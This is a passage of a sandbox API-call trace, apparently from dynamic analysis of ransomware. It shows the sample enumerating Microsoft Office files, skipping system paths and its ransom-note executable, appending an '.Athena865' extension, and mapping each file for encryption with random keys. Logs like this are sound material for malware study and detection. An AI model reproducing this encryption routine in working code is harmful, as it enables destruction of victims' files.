hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.921] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.921] CloseHandle (hObject=0x154) returned 1 [0140.921] CloseHandle (hObject=0x17c) returned 1 [0140.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.921] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRAPH_COL.HXT", cAlternateFileName="GRAPH_~1.HXT")) returned 1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2=".") returned 1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="..") returned 1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="windows") returned -1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="bootmgr") returned 1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="temp") returned -1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="pagefile.sys") returned -1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="boot") returned 1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="ids.txt") returned -1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="ntuser.dat") returned -1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="perflogs") returned -1 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2="MSBuild") returned -1 [0140.923] lstrlenW (lpString="GRAPH_COL.HXT") returned 13 [0140.923] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GRAPH_COL.HXT" | out: lpString1="GRAPH_COL.HXT") returned="GRAPH_COL.HXT" [0140.923] lstrlenW (lpString="GRAPH_COL.HXT") returned 13 [0140.923] lstrlenW (lpString="Athena865") returned 9 [0140.923] lstrcmpiW (lpString1="H_COL.HXT", lpString2="Athena865") returned 1 [0140.923] lstrlenW (lpString=".dll") returned 4 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2=".dll") returned 1 [0140.923] lstrlenW (lpString=".lnk") returned 4 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2=".lnk") returned 1 [0140.923] lstrlenW (lpString=".ini") returned 4 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2=".ini") returned 1 [0140.923] lstrlenW (lpString=".sys") returned 4 [0140.923] lstrcmpiW (lpString1="GRAPH_COL.HXT", lpString2=".sys") returned 1 [0140.924] lstrlenW (lpString="GRAPH_COL.HXT") returned 13 [0140.924] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.Athena865") returned 71 [0140.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.athena865"), dwFlags=0x1) returned 1 [0140.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.927] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=205) returned 1 [0140.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.927] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.928] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.928] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.928] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x154 [0140.930] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0140.931] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.932] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.932] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.933] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.933] CloseHandle (hObject=0x154) returned 1 [0140.933] CloseHandle (hObject=0x17c) returned 1 [0140.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.933] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK", cAlternateFileName="GRAPH_~1.HXK")) returned 1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2=".") returned 1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="..") returned 1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="windows") returned -1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="bootmgr") returned 1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="temp") returned -1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="boot") returned 1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="ids.txt") returned -1 [0140.933] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="ntuser.dat") returned -1 [0140.934] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="perflogs") returned -1 [0140.934] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2="MSBuild") returned -1 [0140.934] lstrlenW (lpString="GRAPH_F_COL.HXK") returned 15 [0140.934] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GRAPH_F_COL.HXK" | out: lpString1="GRAPH_F_COL.HXK") returned="GRAPH_F_COL.HXK" [0140.934] lstrlenW (lpString="GRAPH_F_COL.HXK") returned 15 [0140.934] lstrlenW (lpString="Athena865") returned 9 [0140.934] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0140.934] lstrlenW (lpString=".dll") returned 4 [0140.934] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2=".dll") returned 1 [0140.934] lstrlenW (lpString=".lnk") returned 4 [0140.934] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2=".lnk") returned 1 [0140.934] lstrlenW (lpString=".ini") returned 4 [0140.934] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2=".ini") returned 1 [0140.934] lstrlenW (lpString=".sys") returned 4 [0140.934] lstrcmpiW (lpString1="GRAPH_F_COL.HXK", lpString2=".sys") returned 1 [0140.934] lstrlenW (lpString="GRAPH_F_COL.HXK") returned 15 [0140.934] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.Athena865") returned 73 [0140.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0140.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.936] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0140.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.936] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.937] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.937] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.937] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0140.939] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0140.940] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.940] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.940] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.941] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.941] CloseHandle (hObject=0x154) returned 1 [0140.941] CloseHandle (hObject=0x17c) returned 1 [0140.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.942] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK", cAlternateFileName="GRAPH_~2.HXK")) returned 1 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2=".") returned 1 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2="..") returned 1 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2="windows") returned -1 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2="bootmgr") returned 1 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2="temp") returned -1 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2="boot") returned 1 [0140.942] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GRAPH_K_COL.HXK" | out: lpString1="GRAPH_K_COL.HXK") returned="GRAPH_K_COL.HXK" [0140.942] lstrlenW (lpString="GRAPH_K_COL.HXK") returned 15 [0140.942] lstrlenW (lpString="Athena865") returned 9 [0140.942] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0140.942] lstrlenW (lpString=".dll") returned 4 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2=".dll") returned 1 [0140.942] lstrlenW (lpString=".lnk") returned 4 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2=".lnk") returned 1 [0140.942] lstrlenW (lpString=".ini") returned 4 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2=".ini") returned 1 [0140.942] lstrlenW (lpString=".sys") returned 4 [0140.942] lstrcmpiW (lpString1="GRAPH_K_COL.HXK", lpString2=".sys") returned 1 [0140.942] lstrlenW (lpString="GRAPH_K_COL.HXK") returned 15 [0140.943] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.Athena865") returned 73 [0140.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0140.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.944] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0140.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.944] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.945] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.945] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.945] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0140.947] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0140.948] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.953] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.953] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.954] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.954] CloseHandle (hObject=0x154) returned 1 [0140.954] CloseHandle (hObject=0x17c) returned 1 [0140.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.954] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x32d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRINTL32.DLL", cAlternateFileName="")) returned 1 [0140.954] lstrcmpiW (lpString1="GRINTL32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.954] lstrcmpiW (lpString1="GRINTL32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.955] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GRINTL32.DLL" | out: lpString1="GRINTL32.DLL") returned="GRINTL32.DLL" [0140.955] lstrlenW (lpString="GRINTL32.DLL") returned 12 [0140.955] lstrlenW (lpString="Athena865") returned 9 [0140.955] lstrcmpiW (lpString1="NTL32.DLL", lpString2="Athena865") returned 1 [0140.955] lstrlenW (lpString=".dll") returned 4 [0140.955] lstrcmpiW (lpString1="GRINTL32.DLL", lpString2=".dll") returned 1 [0140.955] lstrlenW (lpString=".lnk") returned 4 [0140.955] lstrcmpiW (lpString1="GRINTL32.DLL", lpString2=".lnk") returned 1 [0140.955] lstrlenW (lpString=".ini") returned 4 [0140.955] lstrcmpiW (lpString1="GRINTL32.DLL", lpString2=".ini") returned 1 [0140.955] lstrlenW (lpString=".sys") returned 4 [0140.955] lstrcmpiW (lpString1="GRINTL32.DLL", lpString2=".sys") returned 1 [0140.955] lstrlenW (lpString="GRINTL32.DLL") returned 12 [0140.955] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.Athena865") returned 70 [0140.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.athena865"), dwFlags=0x1) returned 1 [0140.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.957] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=208256) returned 1 [0140.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.958] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.958] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.958] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.959] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33080, lpName=0x0) returned 0x154 [0140.960] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33080) returned 0x170000 [0140.967] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.968] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.968] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.969] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0140.970] CloseHandle (hObject=0x154) returned 1 [0140.970] CloseHandle (hObject=0x17c) returned 1 [0140.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.972] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | 